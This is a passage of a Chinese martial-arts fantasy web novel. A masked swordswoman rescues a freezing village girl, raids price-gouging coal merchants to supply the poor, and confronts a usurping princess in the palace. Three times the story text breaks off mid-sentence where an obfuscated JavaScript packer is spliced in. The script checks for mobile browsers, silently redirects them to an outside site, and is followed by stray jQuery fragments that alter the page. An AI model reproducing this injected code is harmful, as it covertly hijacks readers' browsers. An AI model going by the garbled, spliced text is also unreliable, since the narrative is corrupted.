朽坏的木门上钉着锈损的门闩,在风雪中被咣咣地拍响。 “有人吗?有人在吗?” 久久无人应答,戴着面罩的人抱着被披风紧紧裹着的人推开门进去,却见屋中家徒四壁,土炕上裸露着黄泥,连片铺垫的纸都没有。窗户上糊的纸破开,在寒风里哗啦啦地响。炉灶旁的避风处蜷缩着两个老人,紧紧捂着身上打满补丁的夏日单衣。 灶边还堆着少许木柴,但戴着面罩的人俯身去探,那对老夫妇早已死去多时了。 这是这个村庄最外围的人家,远离成片的民居,房屋破败,连院墙都已倒塌了。 掩好门,牵着马顶风来到村里头房屋稍微严整一些的地方,戴着面罩的人再次将门叩响:“有人吗?开开门!” 没多会儿,门从里面费劲地打开了。 “她冻僵了!”风雪太大,裹得又厚,几乎听不清别人说的什么。戴着面罩的人掀开披风给他看那人的脸,冲着开门人的耳朵大声说道。 开门的人压着披风一看,帮她顶住门,同样喊着:“快进来!” “呼——” 碗上的热气被吹开,温水一点点被灌进冻僵的人嘴里。小孩站在炕边,看着大人们解开那个昏迷的人的外衣,把她裹进被窝。 娘把空碗放在炕沿上,紧紧地搂着那一大团被子,又将手伸进被子里摸了摸那人的体温。 “缓过来一点了。”娘对站在炕边那个戴着面罩的人说。 戴面罩的人似乎松了一口气,跟娘一起隔着被子帮忙按摩那个人的四肢。 姥姥从外面端来温好的酒:“来了来了。” 又是几口温酒灌下去,那个不认识的人面色终于红润了点。 “行了,缓着吧,这就能活了。”姥姥拍了拍被子,冲戴面罩的人说,“我再去给你们熬点姜汤,别再为风寒要了命。” “谢谢大娘。”戴着面罩的人客气地说。 追着姥姥出了屋,小孩儿她爹正在外屋地的灶上烧火,好叫火炕热一些。 “姥姥,她们是谁啊?”小孩问。 “冻僵的是你何家姐姐啊,你不认得了吗?再过两年你就该去她家念书去了。”姥姥从柜橱里翻出姜来,刮去坏掉的地方,放在案板上利落地切了起来。 屋里,戴面罩的人道:“在来您家之前,我先去了村头那家。” 炕上搂着被子的嫂子闻言问:“村西头那个独户?” 戴面罩的人点头。 “正是老林家大叔和大婶呢!家里就剩他们两个,大雪封门,村里还给送去过一点木柴。”大嫂说完,又问,“你去时,他们可还好?” 戴面罩的人语带迟疑:“木柴还剩下一点……但人已经不在了。” “妈呀。”大嫂子一愣,下意识地反问一遍,“人没啦?” 戴面罩的人道:“我去看的时候人已经不在了。” 大嫂子怔怔的,长久,她痛惋地叫了一声:“哎呀,头两天还好好的,几天的工夫没见,怎么就这样了呢。” 叹罢,她朝外屋地喊:“孩儿他爹?他爹?” “哎。”外头烧炕的男人应了一声。 大嫂子道:“她说老林家大叔和大婶没了,你带人去看看去啊。” “谁没了?”隔着厚厚的门帘,外屋地的丈夫问。 “村头老林家大叔和大婶!”大嫂喊道,“你要不找何贵他们一起去看看?” 门帘一掀,男人探头进来:“谁?” “老林家大叔和大婶。”大嫂子道。 男人看了戴面罩的人一眼,又对大嫂道:“那你搁家待着,我去瞅一眼去。” “谁没了?”外屋地正在切姜的老太太又问了一遍。 本来在外屋地看老太太做汤的小孩儿从门帘缝儿里钻进来,把鞋一蹬钻到炕上。 大嫂子抽过手揽过孩子,道:“老林家的大叔和大婶!这丫头敲门去看来着,先到的那儿。”嫂子又叫,“娘啊,我走不开,你给他找件抗风的衣服。” 老人应了。 好热。 醒来的第一个念头就是,好热。 何芸娘半睁开眼,想要把身上压的东西掀开,不料手脚都被束缚住了,活动不开。 她恍惚记得她是要去镇上买炭,家里的柴要不够用了。 “你醒了。”耳边传来一个声音,“这样的大雪天一个人出门太危险,你差点冻死了。” 她回想起来了,走到半路,自己的脚和腿冻得没有知觉,浑身发凉,牙齿打颤,一不留神就扑倒在雪地里,爬不起来了。 “还迷糊着呢。”另一个声音说道。 不知是谁把她扶了起来,嘴边伸过一个勺子,里面盛着散发着姜味的蛋花水。她张口含进嘴里,品出红糖的甜和老姜的辛辣。 吃了几口东西,她终于觉得脑门开始泛着寒气,脑瓜也开始活动起来,认出那个端碗喂自己的,正是自己村里的何家大嫂子。 “嫂子。”她下意识喊道,“这是在哪儿啊?” “你在我家呢!”大嫂子又舀了一勺姜糖鸡蛋花,在碗边刮了刮勺低,送到她嘴边,“你冻僵在半路上,要不是万幸有人路过救你,你怕是要冻死了!” 看着她老实把汤水咽下去,何家大嫂子哼了一声,替她抹了抹嘴:“你这孩子,嗔我叨咕你。你老爹老娘就你一个眼珠子,你要是没了,他俩可怎么活!” “多谢嫂子。” 被喂着喝了两勺东西,她想从被窝里伸出手去接碗,但是手也被被子裹住了。 “谢我做什么,捡到你又把你救了的是这位姑娘,你还不快谢谢人家!”何家大嫂子道。 顺着何家大嫂子的示意,她看到地下一个不远不近站着的陌生人。那人见她几次想动,过来扶着她靠在墙上,好叫被包松开些,让她能伸出手来,又把一件不知道什么材料做的披风大氅给她披到肩上,盖住了露出来的肩膀。 “多谢姑娘救命之恩!”何姑娘立刻反应过来自己当时有多凶险。雪天路上没人,要没她,自己真的就要冻死了。 “不知恩人尊姓大名。”她十指不听使唤,只能虚虚地握住那陌生人的手,感激无法言说。 “我只是路过而已。”那人温和道,又看到她通红的手,“你手上的冻伤,估计不好治愈。” “能捡下来一条命,就已经是幸事了。”何家大嫂子虎着脸,一勺一勺给何姑娘灌糖水,“什么天大的事,能让你这天头到处乱跑。” 何姑娘黯然:“雪不知道多久才能停,家里的柴不够了,我爹我娘年纪大,家里冷不得,我不得不去城里买炭。” “城里的炭还能买得?”何家大嫂子嚷道,“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说着,她又想起来村头的林家老夫妇:“像你路过的那家,孩子都没了,一年到头就指着那点儿地过活,公婆俩凑不出一个子儿来,是真叫活活冻死了!” 戴面罩的人默然。 那边,何姑娘刮净碗底,嫂子接过空碗,又给何姑娘掖了掖被角:“你呀,安生先在我这暖和暖和,等缓醒过来再往家去,炭的事儿你不用急,等你大哥回来,我们给你想想办法!”说着,她站了起来,“你们先坐,我把碗洗出来,不然一会儿干了不好洗。” 何姑娘忙要起来:“嫂子,你放着,我去洗!” 何家大嫂子一把把她摁下:“坐着你的,用不着你!” 何姑娘争不过,只得坐下了。 小孩儿和嫂子一起掀开门帘出去,屋里只剩何姑娘和那戴面罩的两个人。 那人不曾解下面罩,何姑娘只能看到她修长秀丽的剑眉和一双沉静的眼睛。 “我瞧着恩人面生,看气度,也不像我们十里八村的人。”她攀谈道,“不知恩人为何顶风冒雪来到此处?” “风雪太大,我的马得找地方歇一歇。”戴着面罩的人又叮嘱道,“天气不好,若非要添置物品,还是跟同村的人结伴一起,互相有个照应。” “多谢恩人,我记下了。”何姑娘应道,又说,“我叫何芸娘,就住村东头,我爹是村里的私塾先生。您救我一命,不知可有什么我帮得上忙的,恩人但说无妨。” “只是路过顺手帮一把,你不必太过挂怀。”戴面罩的人淡淡地说。 何芸娘见她气度非凡,衣物用度更是自己见都没见过的,便知她不是什么一般人物,想来哪怕是自己全家也没有什么恩人用得到的,看恩人的意思,也并不图自己报答。 她将恩情默默记在心头,偷眼仔细打量恩人的眉眼,怕日后忘记她长什么样子,又道:“恩人留下名讳吧,我记着您的恩情,初一十五庙前三炷香,也定不忘为您祝祷。” 那人似乎是一笑:“萍水相逢一场,日后也没什么再相见的可能。三年五年,各自相忘,如今又何必说这注定记不住的东西呢。” 何芸娘想说自己肯定会记得,话到嘴边,又觉得轻浮,半晌,只道:“如今风雪太大、不宜赶路,不如恩人随我一起回到家中休息一晚。普通农家没什么好东西,但也让我招待招待您吧。” 戴着面罩的人看了一眼窗外的天色,铅云厚重,紧该入夜了。 38. 夜归人 白日退去,风雪不止。 城门内,小兵抱着长矛,围着炉子闲聊烤手。火光照不到的暗影处,一道人影翻过墙头,呼啸的风雪很快掩盖了她行过的痕迹。 黑色的披风在黑夜里展开,像是一只黑色的大鸟在雪地上匆匆行过,最终落在九宝街的一家炭行外。 炭行已经关板了,透过缝隙看去,屋里黑漆漆一片。她后退几步,打量了一下这一排铺面,发现了二楼窗缝里的火光。提气一跃,她攀着檐角跃上屋顶,轻巧地没有发出一点声音。 火光摇动,她敲了敲菱花窗。 室内亮,室外暗,室内看不清室外的情形。她又敲了敲,一道摇晃的影子走近,疑惑地打开窗子。屋里人正要探头出来看,就被一道冰凉刺骨的剑锋贴住了喉咙。 “饶命饶命大侠饶命!”屋里的人吓得一叠声喊道。 “这家店是你的?”她压低了声音。 “大侠饶命,饶命……”他高举着双手,惊魂未定,咽了口唾沫,勉强镇静下来,又不敢看她的样子,答道,“我只是个伙计。” 确实,屋里只有一个小炭盆,布置拥挤简陋不堪,这人身上穿的也是伙计的衣服。 “货放在哪里?”她冷声问。 “什……什么货?”伙计战战兢兢。 “你们卖的货。” “我们,我们卖的就是普通的炭啊。”伙计腿肚子直转筋。 “放在哪里?”黑衣人仍问。 “都,都在后院!库里!”剑锋往前一递,伙计眼珠子盯着那锃亮的白刃,忙不迭开口,“钥匙都在老板那儿!姐,真的,他啥都不跟我说,我就是一个看店的伙计,我不知道你要的东西啊!” 她一顿,又问:“你老板呢?” “老板,老板回去了啊。”伙计哆哆嗦嗦,是吓得,也是被风吹得。 “回去哪里?”她问。 “阜通商……商会。”伙计声音打着颤儿,“大,大老板都在那边,要,请,请人喝酒。” “商会在哪里?” “街角就是。”伙计瑟缩,料想自己交代干净了,哭唧唧地,“女侠别杀我,真的,我知道的我都说了。” 她从怀中掏出一个瓷瓶,咬开塞子,冲伙计道:“伸手。” 伙计犹豫着,又不敢不伸出手来。她瓶口一磕,在他手心滚下一颗药。 她冷声道:“吃了,熄了灯躺回床上去盖好被子,明天天亮之前不许挪动,否则肠穿肚烂,顷刻没命。” 伙计一脸哭相,望着手里的药丸险些落下泪来。她剑锋一逼,他只好一仰脖,闭着眼睛生把药丸吞了下去。 “女侠,我吃了,我啥都不知道,你来这事我保管谁都不说。”吃完了,伙计都没敢睁眼。 “回去。”她道。 伙计一步三回头地往床边走,刚在床边坐下,发现灯还没熄。正在为难是不是还得起来,自己屁股已经沾了床,再起来是不是也得肠穿肚烂,一点银光闪过,桌上的油灯噗一下就灭了,比闪电还快,骇得他一哆嗦。 “躺好。”窗外传来那冷漠的声音。 伙计立时拉过被子,扑通一下就倒下了。 啪嗒一声,窗户严丝合缝地摔上。屋里漆黑一片,伙计犹自紧张。然而紧张着紧张着,有一股热流沿着胃部扩散,他心里咯噔一下,却有一股控制不住的困意涌了上来,坚持几瞬,便沉沉睡去。 窗外,黑衣人将一枚银钉摁在窗框外,顶住了外开的窗户。 阜通商会,檐下两盏写着“阜通”的大灯笼高高亮着。 街上已经没什么人了,商会内也有些冷清,只有几个侍女靠着立柱候在门外,等着服侍雅间里推杯换盏的人。 外面是冰天雪地,屋里却热得叫人流汗。一桌八个人满面红光,敞着衣襟,中间的锅子里咕嘟嘟翻滚着白汤。 “这可是鸿运当头,好叫我们发这大财啊!”一个留着八字胡的男人举着酒杯,“来来来,喝一个!” 众人饮尽杯中残酒,又去捡锅里的羊肉,挑了几筷子,只捞上来葱姜等物。 “哎!”八字胡男人道,“衙内,我让他们再上点酒肉来!”说完,冲门外喊道,“快快再送二斤羔羊肉,并二斤白酒!” “欸欸欸。”对面的人拦他,用手比了比喉咙,“喝不完,喝不完,都到这儿了!” “哎呀,喝得完!”八字胡将他的手摁下去,又朝外面催道,“快点!” 朝外面催完,八字胡转头又给上座的人倒酒:“衙内,这回的效益,我们都给您大头。这也是我们的一点孝心,我们在此行商,全仰仗您和县丞老爷的。” “欸,好说,好说。”上座的人跟八字胡碰了下杯,八字胡仰脖一饮而尽,他略沾了沾嘴唇就放下了。 他们还在说话,门吱呀一声开了。众人习以为常,只等着人上菜,看都没看一眼。孰料这次半晌没动静,八字胡疑惑回头,只见一个高挑的身影穿着黑披风,戴着风帽面罩,手持一根线香,正立在门口。 八字胡皱眉:“什么人!” 靠近门边的人察觉到不对,拍案欲起身,却感觉浑身绵软,胸中气短,被酒肉塞满的鼻子这才在肉汤的香气里分辨出一丝药味。 “你……”八字胡面上的横肉一齐用力,憋得脸红脖子粗,“你是什么人!” 黑衣人走进门来,那药味更重了。八字胡眼睛一翻,咕咚一声栽倒在桌面上,同桌其他人也不能幸免。 拿起一旁的火钩子,黑衣人自一片狼藉的桌子上清出一块干净地方。推来两个筷子架,把线香插在当中。 利落地将一群大腹便便的人绑好手脚,她从旁边一堆外套里翻出好几串钥匙,也不知哪个是,便索性都拿了走。 找到东西之后,她原路推门出去。线香烟气飘散,整栋楼的人都陷入了沉睡。 蓝关大商户都在九宝一条街上,阜通商会不远处就有一家当铺。 出得商户,戴着面罩的人站在街头,左右看看,没往来处,又往当铺去了。 钥匙打开仓房的门,上好的炭用纸包隔着,整整齐齐码满了半间屋子。回首去看,贱价的炭都在门外堆着,叫积雪覆盖。 这是夏季,即便炭行里有的也只是往年的存货,量称不上特别大,按照她的想法,这一家的炭是不够的。 戴着面罩的人手上还提着好几个四方的包袱,里面鼓鼓囊囊,露出花棉被的一角,是她从当铺那里取回的棉被和冬衣。她四下打量,找到后院一角装炭的篓子,还有棚里打响鼻的骡子和板车。 夜里的九宝街少有人影,骡子拉着装满车的炭和冬衣棉被走过积雪,慢悠悠来到角门。这里没人站岗,戴着面罩的人弄断三指粗的大锁,驾着骡车悠悠离去。 已是漏夜,何家村,芸娘正在房中酣睡。 外面忽然传来一阵石头落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294818|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地的轻响,芸娘不知怎的倏然惊醒,下意识喊道:“谁?” 窗外一片寂静。想起恩人的马还拴在前院,芸娘不放心,披上衣服,将窗户开了个小缝儿,朝外面看去,却正见那个穿着斗篷的背影。 “恩人!”夜深人静,她下意识压低了声音,“恩人,你要上哪儿去?” 那身影一顿,半回过身来。 “夜里冷,别冻着,快躺回去吧。”那人轻声说。 “恩人,你怎么还没睡下吗?要办什么事吗?”芸娘问。 “我走了。”戴着面罩的人道,“你便只当没见过我。” 此前怕她风寒,戴着面罩的人曾给芸娘服过一粒药丸。吃了那药丸,她腹中火热,不由自主睡了一觉,此时醒来,觉得身上暖洋洋的,一点都不冷。 担心她走了,何芸娘半个身子都探了出来,急道:“恩人留步!还不知恩人尊姓大名,是何方人士,日后我该如何报答!” 似是叹了口气,那人想了想,转身走到窗边,帮她扶住窗框,道:“睡吧……若是要报答我,便帮我照看好我的马……她年纪还不大,我怕前面找不到可以托付的人家。” “好,我一定照顾好它,什么活儿都不让它干。”芸娘的眼睛在夜色中亮晶晶的,“您叫什么名字,什么时候回来取马?” 那人只道:“顺手的事,你不必挂心,便当没见过我,也忘了今晚的事吧。” 雪大了,那个一直没摘下面罩的人彻底消失不见。 芸娘怅然收回视线,正要关窗,却见窗沿下放了一个竹筐。筐里装着冒尖的炭,上面还压着一个鼓鼓囊囊的包袱,积着晶莹的雪粒。 往城外的几个村落都送完了炭和棉被冬衣,戴着面罩的人驾着空荡荡的骡车,再次由角门回到城里。 大敞的城门被寒风刮得咣当作响,走了好几个来回,骡子累得垂下了头。戴着面罩的人拍拍它的脖子,冰凉的手触到带汗的皮毛,感受到一丝温热。 “这就回去休息了。” 此时天已经呈现出破晓前的天色,戴着面罩的人将骡车架回已被搬空的炭行。 给骡子卸下车架,添好料、备好水,路过阁楼时,戴着面罩的人听到里面传来伙计震天的呼噜声。 返回阜通商会,满屋子都是污浊的臭气,线香已经快要燃尽。 桌边还温着未开封的酒,温酒的热水已经凉了。带着面罩的人一把推开窗子,随手拎起一瓶酒,望着窗外,拆开泥封,从下方掀开面罩,仰头,不多时就将整瓶酒一饮而尽。 饮罢,擦擦嘴放下面罩,她从桌上拎起几个人,将他们捆成一串,从窗框边挂出去。便便大腹上,用从楼下柜台拿来的笔墨依次写着“囤货抬价十恶不赦”八个大字。 处理完这边,戴着面罩的人转道县丞府中。 县丞府中已有仆人早起洒扫,戴着面罩的人神不知鬼不觉找到卧房,蓝关县丞张着大嘴,睡得正香。 戴着面罩的人来到床边,亮出一柄小刀,手起刀落,削去了蓝关县丞的头顶的发髻。 不多时,门外婢子叫门。 “老爷?该起来了。” 婢子进来打帘,却见卧房的窗户大敞着。床上的县丞头上空空,吓得婢子赶紧扑了上来。 冷风吹动桌上,削下的发髻压着一页信纸: 民不聊生,君何安眠?削发代首,引以为戒。若有下次,人头不保。 39. 缘深缘浅缘无分 长阳城西三里外的驿站,风雪被挡在门外。 天阴客少,小二坐在角落的桌椅后面打瞌睡。 厚重的棉门帘一动,走进来一个行色匆匆的旅人。 拂去身上的雪花,来人摘下风帽,解开披风搭在手上,找了个靠窗的位置坐下:“小二,一壶热茶。” “好嘞。” 提着茶壶过来,小二翻开杯子,给她倒上半杯热茶。抹布利落地揩去落在桌面上的水珠,小二不由得多看了她几眼。 这位客人戴着面罩,只露出纤长秀丽的眉毛与压在眼睫下一双泉水般的眼眸。漆黑的披风放在一边,她身上寒气未散,肤色素白,额发鬓角被风帽压乱。 “您倒是让我想起来一个人来。”店小二随口说道。 客人眼睫一动,抬眼看向他。 小二一哂:“之前也来过一个客人,周身气度跟您特别像。他要找一个跟他差不多高、常戴帏帽的女子。您没戴帏帽,但戴着面罩,如若不然,他说的这可不就和您一模一样吗。” “他可曾说过他叫什么?”这位客人问。 “那倒没有。”小二道,“他在我们这儿留宿一晚就走了。” “他往哪边去了你知道吗?”客人又问。 “好像是往蓝关去了。”小二答道,又问,“是您认识的人吗?” 客人一笑:“不知道,或许是呢。” “客官可要留宿?”小二介绍道,“看这天色,这雪一时半会儿可停不了。方圆十里就我们这一处歇脚的地方,荒郊野岭的,您孤身一人,遇到危险可是不好。” “不了。”客人摇头。 “那您可要用点儿什么?”小二又道,“烧鸡、包子、大碗面,我们这儿都是一绝。” “有酒吗?”客人问。 看不出来,这位客人竟然是会喝酒的。小二乐道:“有,上好的高粱烧酒,一杯下去整个人都热乎,正适合这时候喝。您要是想喝度数低的,我们这儿也有南方运来的黄酒,喝不醉人。” “烫壶烧酒来。”客人道。 “好嘞!”放下茶壶,小二烫酒去了。 屋外天寒,店里的窗户都关着。戴面罩的客人拨开窗栓,将窗户推开一条缝,夹杂着雪粒的刺骨寒风立刻吹进屋里。 窗外的官道上,一个行人都没有。 时隔半个多月,曾卧雪再次回到蓝关。 这半个月,他在北境各地转了一圈,一丝师姐留下的痕迹都没有找到。师父和师姐一样音讯全无,他只得回到蓝关,准备到关外看看。 最近不知为何,北境的天气忽然一下子从夏日变作隆冬。曾卧雪没有准备,现从草原的猎户那边购置了皮草御寒。 来到蓝关时是已经是下午,蓝关正在下雪。 依旧是先前来时那家客栈,连曾卧雪都惊讶,那里的小二竟然还记得他。 “客官,这回还是住一晚么?”店外,小二一边接过他的缰绳一边问。 曾卧雪嗯了一声,小二又问:“可有找到您之前要找的人?” “还没有。”在外半个月,曾卧雪脸上也多了一丝风霜,“有相近的人来过吗?” “没遇到过。”小二道,“客官您去里面稍坐,现在天冷,我先帮你把马带到后面去。” 为了挡住冷风,客栈挂起了棉被一般厚厚的门帘。客栈里面热火朝天,曾卧雪进去,找了个角落的位置坐下。 堂内,一群人分了三桌,像是一起来的,彼此都认识,看打扮是行脚的商人,聊到兴头上,丝毫没有顾忌音量。 许是雪天无事,这群人不等天黑就开始喝上酒了。 “你没看到吗?”一个满脸络腮胡的汉子手拿酒碗,问另一个人。 另一个人一拍手:“我哪儿看去,那时候我还在梦里睡着呢!” 众人哈哈大笑,满脸络腮胡的汉子将酒饮尽,碗一放:“那你没看着。那可是开天辟地头一遭的大乐子!” 那人央告道:“好哥哥,你们都知道了,什么大乐子,快跟我说说。” 满脸络腮胡的汉子一摇头,腮帮子上的肉都跟着晃悠:“谁叫你去吃花酒。我不告诉你,你找别的好哥哥跟你说去。” 旁边的人凑热闹:“好哥哥可不行,你叫我一声好爹爹,我告诉你!” “好爹爹好爹爹。”那人觍着脸凑上去,“快跟我说说。” 众人又是一阵哄笑,旁边那人在他后脑勺拍了一把:“诶,今日多了个好大儿。” “到底是什么乐子?”那人催促道。 “我跟你说。”这位新爹将酒碗一摆,那人知情识趣地给他满上酒,新爹嘬了一口,道,“今天一大早,炭行那一伙儿老家伙,和县丞衙内,让人扒了衣服穿成串,顺着他们阜通商会的窗户挂出来了!” “豁!”那人听乐了,纵使其他人不是第一次知道,也笑个不住。 “那几个老小子,一个个跟癞蛤蟆似的。”说着,新爹有点酒劲上头似的,压低了声音凑近了跟那人道,“我看那肚子啊,说不定比你那莺莺姑娘的还白!” 众人哄堂大笑,新爹喝光了酒,自己又倒了一碗:“炭行那几个老小子,加上商会的人和衙内,一共八个人,八个肚子,上面各自写了一个大字,凑在一起,成一句‘囤货抬价十恶不赦’,不知是哪路英雄,可真是痛快!” 坐的一圈人都叫好,那人又问:“那他们可是要降价了?” “库都叫人搬空了,他们没得可卖了!”络腮胡子哼了一声,“角门那么重的锁都叫人砸开,切口整齐光滑,可见出手的人身手不凡。那位英雄运货用的还是他们炭行的骡子呢!” 众人大笑一阵,又有人补充道:“据说还有好几家当铺也被劫了,他们之前收上来的棉被啊、棉袄啊什么的都不翼而飞。” 那边说得热闹,小二从外面回来,招呼曾卧雪:“客官,马安排好了,您随我上楼。” 依旧是之前的房间,曾卧雪放下包袱,问小二:“现在出关可方便?” “好像还是不让出去的。”小二答道,“您可以去隘口问一问。” 隘口的人已经不是上次来时那个小兵了。 傍晚出城排队的人多,小兵丧着脸上下打量他一番:“你出关上哪儿去?籍贯哪儿的?” 曾卧雪抱拳:“在下曾卧雪,是凌虚界凛岳弟子,出关找人。” “修士?”小兵皱起了眉头,摆摆手,“让你师门拿盖了戳的通关文牒来。” 曾卧雪还要问盖了戳的通关文牒是什么,小兵就已冲后面喊:“下一个!” 曾卧雪被挤到一边,下一个是一位年纪较轻的姑娘,裹着头巾。 “老爷,我是外头村里,进来买东西的。”她道。 “哪个村子?买什么?”守门的小兵道,“户籍文书拿来。” “买炭。”年轻的姑娘将文书送上,答道,“何家村,我们这一行都是何家村出来的。” 小兵瞥她一眼,又问:“叫什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294819|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “何芸娘。”姑娘道。 守门的小兵拿过桌边的小卷轴:“头巾解开。” 姑娘依言解下头巾,小兵将她和展开的卷轴上的人对比了一番,把卷轴合拢:“行了,走吧。” “多谢老爷。” 曾卧雪还想问通关文牒的事,又想知道为什么他们能出关但自己不行,故而等在一旁未走。他个子高眼力好,不经意看到小兵那卷轴上的画像,心中一凛。 “你怎么还在这儿?”答对完要出关的何芸娘,小兵又看到了杵在一边的曾卧雪。 “我是想问问,您说的‘盖了戳的通关文牒’是什么?”曾卧雪和气地说。 小兵不耐烦地说:“你回去问问就知道了。” “噢,对了,那卷轴又是什么?”曾卧雪又问,“不用查我吗?” 小兵下意识将手压在了一旁的卷轴上,目光不善地盯着他,语气更不好了:“跟你没关系,赶紧走。” 曾卧雪还要想办法,刚刚被放行的何芸娘拉了拉他。 “快走吧。”何芸娘对他使了个眼色。 料想问不出什么,曾卧雪心中暗想,不如等夜里再来拿到画轴看一看,便也没有抗拒,被那姑娘拉远了几步。 “我估摸那是朝廷在秘密通缉的人,没看只查女的不查男的吗。” 何芸娘此行本是进城打探恩人踪迹的。进来听了些热闹,没发现别的,此时也要走了。她刚被恩人救下,死里逃生,存了些多行好事得偿福报的心思,见了这不太省事的小伙,便小声飞快地提醒了两句,之后就沿着出城的路,和她的同乡一起出去了。 朝廷在秘密通缉的人。 曾卧雪站在出关的人流之外,回想起那日长阳皇城中谢皇的神色,忽然觉察出一丝不对劲。 为何师姐的脸会出现在官兵手里的画像上?那日皇城为何有那么浓重的血腥气?得知自己的来意,谢皇为何忽然发笑,语气中还带着几分玩味? 难道自己辗转半月,竟从一开始就和要找的人失之交臂? 梆子敲了三响,三更天了。 巡逻的铁甲铿锵走过,黑影一闪,一道身影踩着琉璃瓦,矮身跃上长乐宫的屋顶。 从蓝关到长阳,曾卧雪快马加鞭,赶路赶了一天一夜。不知曲照是否还在长阳,他趁夜色潜入皇城,前来一探究竟。 轻轻揭开屋顶暗处的瓦片,曾卧雪压低身子挡住漏口,一边防止雪从漏口飘进屋里被人察觉,一边向内看去。 他依次查探过,这里就是谢皇的居所,然而此刻,坐在书桌前批阅奏折的,却是一位年纪轻轻、身穿黄袍的女子。 女子低着头,从曾卧雪的角度看不到她的相貌。回想起曾经见过的皇榜,曾卧雪推测,她可能是那个被封的皇太女——谢艳朱。 屋里只有这皇太女一个,索性已经换了衣服,这人认不出自己,曾卧雪正在犹豫是否直接挟持此人问个究竟,耳尖一动,听到宫外扑通扑通好几声,侍卫迎风倒下。曾卧雪不知发生何事,立刻压低了身子。 屋顶掀开的小口仍在,曾卧雪屏住呼吸,只见一个穿着漆黑披风、戴着风帽的人推开了长乐宫的大门。 “谁?!”正在批阅奏折的谢艳朱警惕地问。 那黑衣人走进宫内,反手摘下风帽,又拉下面罩。屋里的谢艳朱和屋顶的曾卧雪同时认出了那张脸—— 寒气化作额发和眉睫上凝结的水珠,花沐雨看着坐在案前黄袍加身的谢艳朱:“是我。” 40. 红尘累千钧 认出花沐雨的那一刻,谢艳朱手一抖,而后立刻假作大惊失色地站起来,起身间,袖口带翻了桌角的茶杯。 茶水顺着桌角滴滴答答流到地上,浸湿了布置的桌角的微小法阵。那是曲照留下的,他不在皇城,谢艳朱打湿法阵,他便能收到消息立刻赶回来。 自那个夜雨之后,时间已经过去很久了。 枪和剑熔做了门钉,尸身挫骨扬灰,洒在官道上任人践踏。谢艳朱借江流秘法扮作谢皇,长阳城中局势平定,只待再过段时间谢皇“驾崩”,谢艳朱便可即位。 对花沐雨的通缉仍在,但一直没有动静。曲照料想她已经死透,谢艳朱却始终防着一手,要求曲照在宫中各处都设下预警的法阵,更是在自己常在的无极殿、长乐宫两处留下七杀阵的阵势,一旦情况有变,曲照便可以很快起阵。 对谢艳朱而言,现在唯一要做的,就是拖住花沐雨。拖到曲照赶到,便能让她有来无回。 “你果然没死。”看着消瘦许多的花沐雨,谢艳朱沉沉开口。 花沐雨道:“你秘密将我通缉,不就是猜到了我可能没死?” “即便有所猜测,能再次见到你仍叫人惊讶。”谢艳朱缓缓道,“武英殿出来的佼佼者,果真不会这样轻易死去……这些日子,你去哪儿了?” 花沐雨不答:“我看到了皇榜。‘父皇’废太子,立你为皇太女。你准备什么时候安排父皇下葬,正式即位登基?” 谢艳朱喉头一动:“不久前父皇还日日临朝,如今不过是病了,何来下葬即位一说。” “我被困七杀阵,为了折损我心志,曲照已经告诉过我你的所作所为了。”隔着桌案,花沐雨静静地望着她,“艳朱,到了这个地步,你我之间已经不必如此了。” 听了这话,原本面目平和的谢艳朱忍了又忍,忽然忍不住暴怒起来。笔摔在桌上弹开,在奏折上留下一块烟花般炸开的朱墨。 “你有什么资格管教我!” “谢家已经被你杀尽了。”花沐雨看着她忿忿不平的面孔,语气平静而疲惫,“你已经坐到了这个位置,还不够弭平你心中的恨吗。” “你心里就没有恨吗!”谢艳朱厉声质问,“娘生了两个孩子,到死都是个最低等的采女!我被送去鹄部,嫁给一个见都没见过的草包!甚至直到娘尸骨无存,我才知道她已经死了!我和娘遭人冷眼二十多年,受尽屈辱,有谁看过我们一眼!杀他满门,我已是轻饶了他!” 面对着一声声质问,花沐雨垂下了眼。 看着她木然的神情,谢艳朱冷笑一声,从桌案后慢步走到她面前。 “也是,你恨什么。”她轻慢地笑着,“你早已飞上高枝儿了。你不是娘的女儿,你是文贵妃膝下的公主、父皇眼前的红人、北境的武英公主、凛岳的仙师。你连名字都改了,怎还会想得起我们!” 花沐雨疲倦地睁开眼:“艳朱……” “别叫我!”怒火几乎冲出谢艳朱的眼睛,“你不配用这样的眼神看着我!” 忽然想起来什么,她一笑:“对了,我怎么忘了,你是父皇一手培养的武英公主,有护国之责。我弑君杀父,你是来诛杀我这个乱臣贼子的吧?” 再逼近一步,她毫不掩饰地看着花沐雨:“来呀,动手啊,杀了我啊!” 她的话语犹如霹雳般落下,外面忽然传来一声爆响。 花沐雨一惊,下意识化剑转身,将谢艳朱护在身后。在她动作的那一刻,谢艳朱也是一惊,同样下意识地,她抽出一直藏在袖中的匕首,向花沐雨的后腰刺去。 殿门被撞开,两个人影卷着风雪一齐破门而入。埋在阴影里的匕首被气劲挡住,未能近身。 曲照! 谢艳朱眼神巨震,刹那间便认出了被摁在地上的人。 她心念电转。曲照已经落败,不知道击败曲照的蒙面人是哪边的,但看谢艳红的反应,不像有所预料,他们应该不是一伙儿的,自己还有机会! 